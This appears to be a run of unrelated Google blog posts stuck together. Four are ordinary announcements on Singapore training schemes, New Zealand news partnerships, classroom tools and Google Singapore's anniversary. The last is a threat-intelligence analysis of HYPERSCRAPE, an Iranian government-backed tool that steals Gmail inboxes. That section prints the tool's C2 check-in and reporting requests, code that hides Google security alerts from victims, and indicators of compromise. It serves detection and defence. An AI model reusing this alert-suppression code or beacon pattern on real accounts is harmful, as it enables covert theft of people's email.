Agosto, 2022

After two years as a stay-home mother, Ramona wanted to return to work, ideally landing a job in the tech industry. So when she discovered Skills Ignition SG (SISG), a joint training program run by Google and the Singapore government, Ramona was hopeful that this would give her a leg up. She was accepted into the program, and over the course of nine months, she took a 3-month online training in digital marketing, then joined the Google Pay team as part of a 6-month on-the-job training. The SISG program gave her the opportunity to work with Googlers on real-life projects and helped her regain her confidence. After graduating, she applied and achieved her ultimate career goal as a program manager at Google.

Upskilling individuals like Ramona can help unlock new career opportunities and keep growing Singapore’s tech talent. Since launching SISG in 2020, we’ve seen over 5,500 people learn new digital skills, gain on-the-job experience and earn certificates. What’s more, our recent survey showed that three out of four trainees from the previous cohort were able to find new jobs within six months of graduation.

While we first launched SISG to meet the needs of the pandemic, with a goal of providing skilling opportunities for people who were out of work, we’re conscious that the needs of the Singaporean community are constantly evolving. Today, we held our first-ever SISG Career Fair, graced by Minister for Communications and Information, Mrs Josephine Teo. Hundreds of past SISG graduates attended, and we also announced three new initiatives for the program.

Enhanced traineeship program

To create a richer trainee experience and boost employability, SISG will introduce an enhanced traineeship program to host 60 trainees at Google. Selected trainees will undergo a 12-month full-time training program in Digital Marketing or Professional Cloud Architecture, extended beyond the previous duration of nine months. With continued partnership with IMDA under the Techskills Accelerator (TeSA) initiative, selected trainees will also receive mentorship from Google employees, a more comprehensive development plan, and higher stipends to match the rising market rates. Our applications for the traineeship program are now open to both fresh graduates and mid-career professionals, and we highly encourage interested individuals to apply.

New certificate under Google Career Certificates

Earlier this year, we introduced Google Career Certificates and 5,000 Grow with Google funded scholarships for SISG learners to gain the skills needed for entry-level jobs in high-demand technical fields: IT Support, Project Management, Data Analytics and UX Design. The online courses allow learners to study at their own pace, helping them balance their studies with other responsibilities.

We’ve seen strong interest from learners in Singapore, and starting today, we are adding a brand new Google Career Certificate in Digital Marketing & E-commerce. In Singapore today, while there are digital marketing and e-commerce roles in-demand, we lack the skilled workers to fill them. And just like Ramona, there is untapped potential for people with the right skills to launch their career, or to make a career change. Especially as marketing job roles increasingly require candidates to have digital marketing and data-related skills, this certificate will equip them with that relevant knowledge and boost their expertise.

Expanded Employer Consortium

In keeping with the spirit of SISG, we are working with a much broader set of partners to help more Singaporeans make the transition to jobs within the digital economy. 37 companies from a variety of industries have now joined our employer consortium, which is now more than double versus where we started earlier this year. These companies are ready to hire SISG graduates, and it’s encouraging to see their commitment to diversifying their candidate pool and looking beyond traditional educational backgrounds.

Our mission is to empower Singaporeans today, for tomorrow. In line with that, SISG must also remain relevant and helpful to more Singaporeans as the job market and local economy evolves. With the continuous partnership with IMDA and industry partners, together, we believe we can build a sustainable long-term program that continues to invest in the digital upskilling and employability for Singaporeans.

It was heartening to see the meaningful interactions between SISG trainees and employer consortium members at our first SISG career fair today, and we can’t wait to welcome the new group of trainees to the program!

Kiwis have more ways to access news and information than ever before. Today, we are announcing major new investments that will continue our support of New Zealand’s vibrant and diverse news industry to help people find quality journalism and contribute to the sustainability of news organizations. These investments will also help newsrooms engage their readers in new ways, today and into the future.

Launching Google News Showcase in Aotearoa New Zealand

To support news organizations and readers in New Zealand, we’re launching Google News Showcase, our curated online experience and licensing program. News Showcase panels display an enhanced view of an article or articles, giving participating publishers more ways to bring important news to readers and explain it in their own voice, along with more direct control of presentation and branding.

Starting today, News Showcase is rolling out in New Zealand with seven news publishers representing more than 20 publications, including national, regional and local news outlets like the New Zealand Herald, RNZ, Crux, Newsroom and Pacific Media Network. This launch builds on News Showcase deals signed with more than 1,700 news publications in more than 17 countries, including Australia, United Kingdom, Japan, India, Germany, Brazil, Italy and Argentina.

News Showcase panels from our New Zealand news partners will begin appearing on Google News on Android, iOS and the web, and in Discover on iOS and Android. The panels direct readers to the full articles on news publications’ websites, enabling them to deepen their relationships with readers.

“By helping us build deeper relationships with readers, Google News Showcase will support the development of the BusinessDesk brand, which in turn boosts our editorial operation,” says Matt Martel, General Manager of BusinessDesk, a leading business and economy digital publication. “Our relationship with Google is a key factor in growing our newsroom from five to more than 20 journalists.”

News Showcase highlights news publishers that are investing in comprehensive public interest journalism, giving them a new way to curate their high-quality content on Google’s News and Discover surfaces and bringing essential news coverage to Kiwis looking for it.

“Being able to further highlight the talent of NZME’s 300 editorial staff across our newsrooms is a really positive development,” says Michael Boggs, NZME CEO. “NZME is strongly focused on transforming our business digitally, and the Google News Showcase partnership supports that focus.”

“At RNZ we’re huge fans of making sure the brilliant stories from our award-winning journalists reach as many people as possible,” says Megan Whelan, Interim Chief Content Officer of RNZ, New Zealand’s independent public service multimedia organization. “This new agreement is another way to make sure trusted public media content is available to more people via Google News, and that’s definitely a good news story.”

As part of our licensing agreements with publishers for News Showcase, we’re also paying participating news organizations to give readers access to some of their paywalled content. This feature means readers will have the opportunity to read more of a publisher’s articles than they would otherwise be able to, encouraging them to learn more about the publication — and potentially subscribe.

“Pacific people from all over the world follow the news and journalism of our New Zealand-based newsroom,” says Don Mann, CEO of Pacific Media Network, a public interest broadcaster that works to empower Pacific cultural identity. “We aim to be the preeminent Pacific media entity for the Pacific diaspora and our relationship with Google will help us achieve this.”

“Crux has already developed a large, loyal local readership, but Google News Showcase will provide our readers with options like the ability to follow their own personal mix of trusted news sources,” says Peter Newport, Managing Editor of Crux local news for Queenstown, Wānaka and Cromwell. “We’re excited about the opportunity, and we think it’s a great initiative in support of strong New Zealand journalism.”

Google News Initiative programs in New Zealand

Google News Showcase is just our latest effort to support publishers of all sizes and the news industry in New Zealand. Through the Google News Initiative (GNI) we have been partnering with news publishers around the world to build a sustainable, diverse and innovative news ecosystem. The team offers training, products and funding to journalists and newsrooms to help strengthen their work in the digital age, and has reached more than 800 journalists and journalism students in New Zealand. These high-demand GNI programs provide an introduction to many of the core skills required to run a digital news business, based on the best practices and lessons of other news publishers around the world.

• Digital news business fundamentalsfor news organizations: The GNI Digital Growth Program offers a six-part free business training, consulting and support workshop to help New Zealand news organizations succeed online.
• Journalist Training Camp: At Ngā Kete Wānanga Marae marae, 25 journalism cadets representing multiple ethnicities, languages, and the rainbow and disability communities participated in the Te Rito Training Camp, a digital journalism training course with the Google News Teaching Fellow and heard from some of New Zealand’s leading journalists.
• Digital skills training for journalists: In partnership with Telum Media, open sessions around the country are free for journalists to learn the latest tools and processes to support digital reporting. This includes training on tools like Google’s research tool, Pinpoint, which journalists can use to support their reporting and creative data visualization techniques.
• Election policy and misinformation tracking: Building on years of support from the GNI for Policy New Zealand, the team’s latest iteration will provide a digital tool for journalists to understand and report on ahead of local elections. This creates a database for candidates’ key election policies, supporting journalists’ ability to track misinformation.
• Media literacy for primary school students: In partnership with Squiz Kids, media literacy module, “Newshounds,“ is a plug-and-play resource for teachers, children and their parents, aimed to empower young people to think critically about the media they consume and give teachers the confidence to teach media literacy in the classroom.

As New Zealand publishers continue to embrace technology to deepen their engagement with readers, we’re proud to be strengthening our commitment to working with and supporting publishers in Aotearoa. Through News Showcase, our other News products and GNI programs, we’re proud to promote quality journalism and a reliable and diverse news industry.

Whether you’re in Mexico preparing to start classes, or in Australia with your school year in full swing, going back to school can be exciting and overwhelming for students and teachers all over the world. We know that learning is not one size fits all – it is personal. To help amplify educators’ impact, we’ve created a new Back to School Guide to help educators meet each learner where they are – geographically, developmentally and academically.

Use new Classroom tools to support your students

Many educators are searching for new ways to help them create and deliver instruction efficiently, while supporting students effectively. With Google Workspace for Education and Google Classroom, you can set up classes to do everything from creating coursework to distributing assignments and grading. To get started, check out this Classroom training course.

We’ve added many new features to Classroom that we announced during our event, The Anywhere School 2022. For instance, integrated add-ons let you use your favorite education tools like Kahoot! and IXL right in Classroom. And, in partnership with Clever, admins can sync class rosters from most major student information systems (SISs) to Classroom. Schools with Education Plus can sign up for our beta pilot of Elevate Data Sync as we expand into 15 more countries.

Inspire creativity through video

Distance learning taught us the value of being creative while teaching and learning, from using Google Meet to stay connected to taking students on virtual field trips to explore arts and culture.

A great way to inspire creativity is through video. Our new Screencast app, built into ChromeOS, helps students and teachers share their ideas in class by creating their own screencasts, with built-in transcription. Educators can also record, trim, transcribe and share recordings for their students to review anytime.

Another way to connect is by using the livestream feature in YouTube to share school events with your whole community, in addition to livestreams with Meet.

Those same tools present new ways to reengage students as schools return to in-person environments. Keep exploring ways to use tools like Jamboard, Forms, Sites, Docs, Slides and Sheets to better communicate with students and understand their needs.

Make lessons more personal with adaptive learning technology

Adaptive learning provides students with customized resources and activities to address their unique learning needs. For example, if a student struggles with adding fractions, a teacher might offer additional practice problems. By applying artificial intelligence to adaptive learning, we can explore new possibilities to make the learning experience more personal for each student.

A new Classroom feature called practice sets, globally available in beta, offers students a more personal path to learning. Now, educators can easily transform their own teaching content into interactive assignments and use the autograding tool to cut down on manual grading time. When working on assignments, students receive instant feedback on their answers, and real-time support if they get stuck along the way. Take this new tool for a spin and explore the possibilities.

Help every student succeed with accessibility features

Many of the people behind Google for Education are former educators who bring their passion for inclusive learning to their work every day. So we know learners benefit greatly from tools that meet their unique needs.

Accessibility features built into Google Workspace for Education and Chromebooks help students learn in the ways that work for them. Students can utilize visual aids, spoken feedback and Acapela text-to-speech voices on Chromebooks, or use voice typing, captioning, Braille displays, screen readers and magnifiers in Google Workspace for Education. ​​

Not yet familiar with our accessibility features? Take the Tools for Diverse Learners Training to help everyone participate and develop a love of learning.

Keep families involved and in the loop

One of the greatest predictors of student success is family engagement. Easily communicate with families using guardian email summaries in Classroom, schedule meetings with Calendar appointment slots and set up virtual conferences with Meet.

It’s also important to work alongside families to help students use technology responsibly and be critical consumers of digital content. You can share the Be Internet Awesome site, our Guardian’s Guides and the Google for Education Family Tech FAQ for back to school night to teach parents more about this topic. Students have Chromebooks at home? Families can use Family Link to help manage their child’s school account on a Chromebook.

Join the conversation with professional learning communities

Who better to learn from than other teachers? Join one of our Google Educators Groups, professional learning communities of educators from around the globe. Share teaching resources, discuss ideas and keep up with new technology developments. Boost your skills with our Teacher Center training courses and certifications – and be sure to sign up for the latest Google for Education updates.

Have a great, safe and healthy school year, no matter where in the year (or world) you are. And for more tips, be sure to explore our Back to School Guide.

In 2007, we opened Google’s first office in Southeast Asia, on Singapore’s Collyer Quay. It was a small space, with just enough room for a couple dozen Googlers, but a huge step in Google’s international growth. Throughout its history, Singapore has been a global hub where trade, technology and ideas can thrive. Establishing a presence here was a natural choice for a company created to bring the benefits of technology to as many people as possible, all around the world.

Fifteen years on, and Google Singapore has grown to more than 3,000 people. Singapore today is our Asia Pacific headquarters — leading our efforts to support the 2.5 billion people online across the region — and we love being part of this vibrant, diverse community. Guided by our mission to empower Singaporeans today, for tomorrow, we’re proud to have worked with local partners across government, business and the nonprofit sector to ensure Singaporeans can access the digital education, skills and opportunities they deserve.

Creating economic opportunity

As digitization speeds up, reshaping industries and changing the nature of work, we’re building on the partnerships we’ve formed to help Singaporeans learn new skills and pursue careers in high-growth areas.

In 2020, we launched Skills Ignition SG, a collaboration with government and industry to provide both digital skills training and hands-on work experience. So far, the program has supported more than 5,500 people, and we’re now widening our efforts to include an enhanced traineeship program at Google, opening up a new career certificate and expanding our employer consortium.

At the same time, we are stepping up our efforts to help Singapore reinforce its position as a leader in AI innovation. Google Cloud will partner with the Smart Nation and Digital Government Group to create novel AI solutions that will improve how Singaporeans work and live. The partnership will also help deepen AI capabilities in public service and shape AI governance and ethics.

Investing in our home in Asia

Singapore is a regional hub for our network of data centers, cloud regions and subsea cables, which connect the country to the rest of the region and the world, give people access to fast internet and help businesses transform. We announced our first data center in Singapore in 2011, our second in 2015 and we recently hit another important milestone — with our third data center facility completed and in operation in Jurong. Put together, our data centers represent a long-term investment in Singapore of US$850 million.

Finally, as part of our global commitment to action on climate change, we’re increasing our support for local nonprofits working to protect natural environments and reduce emissions. Through Google.org, our philanthropic arm, we’re committing a $1 million grant to conservation nonprofit Mandai Nature, which will work with other organizations in Southeast Asia on developing an online tool to map areas that host rich biodiversity — and hold the key to carbon reduction. This grant will complement our broader collaboration with Singapore on sustainability and technology, including the recent announcement that Google Cloud and the Monetary Authority of Singapore will work together to foster new climate finance solutions.

We’re looking forward to delivering on these new commitments, strengthening our relationships with partners in government and the community, and helping many more Singaporeans make the most of the opportunities that technology creates. Here’s to many more years of strong partnership between Google and Singapore.

As part of TAG’s mission to counter serious threats to Google and our users, we’ve analyzed a range of persistent threats including APT35 and Charming Kitten, an Iranian government-backed group that regularly targets high risk users. For years, we have been countering this group’s efforts to hijack accounts, deploy malware, and their use of novel techniques to conduct espionage aligned with the interests of the Iranian government. Now, we’re shining light on a new tool of theirs.

In December 2021, TAG discovered a novel Charming Kitten tool, named HYPERSCRAPE, used to steal user data from Gmail, Yahoo!, and Microsoft Outlook accounts. The attacker runs HYPERSCRAPE on their own machine to download victims’ inboxes using previously acquired credentials. We have seen it deployed against fewer than two dozen accounts located in Iran. The oldest known sample is from 2020, and the tool is still under active development. We have taken actions to re-secure these accounts and have notified the victims through our Government Backed Attacker Warnings.

This post will provide technical details about HYPERSCRAPE, similar to PWC’s recently published analysis on a Telegram grabber tool. HYPERSCRAPE demonstrates Charming Kitten’s commitment to developing and maintaining purpose-built capabilities. Like much of their tooling, HYPERSCRAPE is not notable for its technical sophistication, but rather its effectiveness in accomplishing Charming Kitten’s objectives.

HYPERSCRAPE Analysis

HYPERSCRAPE requires the victim’s account credentials to run using a valid, authenticated user session the attacker has hijacked, or credentials the attacker has already acquired. It spoofs the user agent to look like an outdated browser, which enables the basic HTML view in Gmail. Once logged in, the tool changes the account’s language settings to English and iterates through the contents of the mailbox, individually downloading messages as .eml files and marking them unread. After the program has finished downloading the inbox, it reverts the language back to its original settings and deletes any security emails from Google. Earlier versions contained the option to request data from Google Takeout, a feature which allows users to export their data to a downloadable archive file.

The tool is written in .NET for Windows PCs and is designed to run on the attacker’s machine. We tested HYPERSCRAPE in a controlled environment with a test Gmail Account, although functionality may differ for Yahoo! and Microsoft accounts. HYPERSCRAPE won’t run unless in a directory with other file dependencies.

HYPERSCRAPE Setup

When launched, the tool makes an HTTP GET request to a C2 to check for a response body of “OK” and will terminate if it’s not found. In the version tested, the C2 was unobfuscated and stored as a hardcoded string. In later versions it was obfuscated with Base64.

GET http://{C2}/Index.php?Ck=OK HTTP/1.1

Host: {C2}

Accept-Encoding: gzip

Connection: Keep-Alive

The tool accepts arguments from the command line such as the mode of operation, an identifier string, and a path string to a valid cookie file. A new form is displayed if the information is not provided via command prompt.

Once provided, the data in the “Identity” field is sent to a C2 for confirmation. Again, the response is expected to be “OK”.

GET http://{C2}/Index.php?vubc={identity} HTTP/1.1

Host: {C2}

Accept-Encoding: gzip

If the cookie file path was not supplied via the command line, a new form will allow the operator to do so using drag and drop.

After parsing, the cookies are inserted into a local cache used by the embedded web browser. A new folder named “Download” is created adjacent to the main binary. The browser then navigates to Gmail to begin the data collection.

The user agent is spoofed so it appears like an outdated browser, which results in an error message and allows the attacker to enable the basic HTML view in Gmail.

If the cookies failed to provide access to the account, a login page is displayed and the attacker can manually enter credentials to proceed, as the program will wait until it finds the inbox page.

What HYPERSCRAPE does

Once the attacker has logged in to the victim’s account, HYPERSCRAPE checks to see if the language is set to English, changing it if not. The language is returned to its original setting when the run is finished.

HYPERSCRAPE then begins iterating through all available tabs in the inbox looking for emails to download. It does the following for each email found:

• Clicks on the email and opens it
• Downloads it
• If the email was originally unread, marks it unread
• Goes back to the inbox

The emails are saved with “.eml” extensions under the Downloads directory with the filename corresponding to the subject. A log file is written containing a count of the emails that were downloaded.

When finished, a HTTP POST request is made to the C2 to relay the status and system information. The downloaded emails are not sent to the C2.

POST http://{C2}/?Key={GUID}&Crc={Identifier}

{

“appName”: “Gmail Downloader”,

“targetname”: “{Email}”,

“HostName”: “REDACTED”,

“srcUserIP”: “REDACTED”,

“actionType”: “First”,

“timeOccurrence”: “05/01/2022 05:50:31 PM”,

“OS”: “REDACTED”,

“OSVersion”: “REDACTED”,

“SystemModel”: “REDACTED”,

“SystemType”: “REDACTED”,

“srcName”: “REDACTED”,

“srcOrgName”: “REDACTED”

}

The program will delete any security emails from Google generated by the attacker’s activity.

private bool IsThereAnyEMail() {

List < GeckoHtmlElement > list = (from x in this.geckoWebBrowser.Document.GetElementsByTagName(“span”)

where x.TextContent.StartsWith (“Security alert”) || x.TextContent.StartsWith(“Archive of Google data requested”) || x.TextContent.StartsWith(“Your Google data archive is ready”) || x.TextContent.StartsWith(“Your Google data is ready”) || x.TextContent.StartsWith(“Critical security alert”) || x.TextContent.StartsWith(“Access for less secure apps has been turned on”) || x.TextContent.StartsWith(“Review blocked sign-in attempt”) || x.TextContent.StartsWith(“Help us protect you: Security advice from Google”) || x.TextContent.StartsWith(“Access for less secure apps has been turned on”)

select x).ToList < GeckoHtmlElement > ();

bool flag = list.Count == 0;

return !flag;

}

Early versions contained an option to request Google Takeout data

Data from Google Takeout is also available upon request, but the option was only found in early builds. The functionality was not automated and it’s unclear why it was removed in later versions.

When conducting a Takeout, the program will spawn a new copy of itself and initialize a pipe communication channel to relay the cookies and account name, both of which are required to accomplish the Takeout. When they are received, the browser navigates to the official Takeout link to request and eventually download the exported data.

public void ManageTakeOut() {

string text = “PipeName”;

Process process = new Process();

process.StartInfo.Arguments = string.Format(“PIPE Google “{0}””, text);

process.StartInfo.FileName = Process.GetCurrentProcess().MainModule.FileName;

process.Start();

PipeCommunication pipeCommunication = new PipeCommunication(true, text);

bool flag = false;

while (!flag) {

try {

JsonInfo jsonInfo = pipeCommunication.Read();

switch (jsonInfo.Type) {

case JsonType.GetCookies:

jsonInfo.Data = this.CookieText;

pipeCommunication.Write(jsonInfo);

break;

case JsonType.TakeOutFile:

flag = true;

break;

case JsonType.GetUsername:

while (this.OperationObject.GetUsername() == null) {

Thread.Sleep(1000);

}

jsonInfo.Data = this.OperationObject.GetUsername();

pipeCommunication.Write(jsonInfo);

break;

}

} catch (Exception) {

bool hasExited = process.HasExited;

if (hasExited) {

flag = true;

}

}

}

pipeCommunication.Close();

}

Protecting Our Users

TAG is committed to sharing research to raise awareness on bad actors like Charming Kitten within the security community, and for companies and individuals that may be targeted. It’s why we do things like work with our CyberCrime Investigation Group to share critical information relevant to law enforcement. We hope doing so will improve understanding of tactics and techniques that will enhance threat hunting capabilities and lead to stronger protections across the industry. We’ll also continue to apply those findings internally to improve the safety and security of our products so we can effectively combat threats and protect users who rely on our services. In the meantime, we encourage high risk users to enroll in our Advanced Protection Program (APP) and utilize Google Account Level Enhanced Safe Browsing to ensure they have the greatest level of protection in the face of ongoing threats.

HYPERSCRAPE Indicators

C2s

136.243.108.14

173.209.51.54

HYPERSCRAPE binaries

03d0e7ad4c12273a42e4c95d854408b98b0cf5ecf5f8c5ce05b24729b6f4e369

35a485972282b7e0e8e3a7a9cbf86ad93856378fd96cc8e230be5099c4b89208

5afc59cd2b39f988733eba427c8cf6e48bd2e9dc3d48a4db550655efe0dca798

6dc0600de00ba6574488472d5c48aa2a7b23a74ff1378d8aee6a93ea0ee7364f

767bd025c8e7d36f64dbd636ce0f29e873d1e3ca415d5ad49053a68918fe89f4

977f0053690684eb509da27d5eec2a560311c084a4a133191ef387e110e8b85f

ac8e59e8abeacf0885b451833726be3e8e2d9c88d21f27b16ebe00f00c1409e6

cd2ba296828660ecd07a36e8931b851dda0802069ed926b3161745aae9aa6daa

Microsoft Live DLL

1a831a79a932edd0398f46336712eff90ebb5164a189ef38c4dacc64ba84fe23

PDB

E:WorkingProjectsEmailDownloaderEmailDownloaderCookieModeEmailDownloaderobjDebugEmailDownloader.pdb

E:WorkingProjectsEmailDownloaderEmailDownloaderCookieModeMahdiLiveLibobjReleaseLiveLib.pdb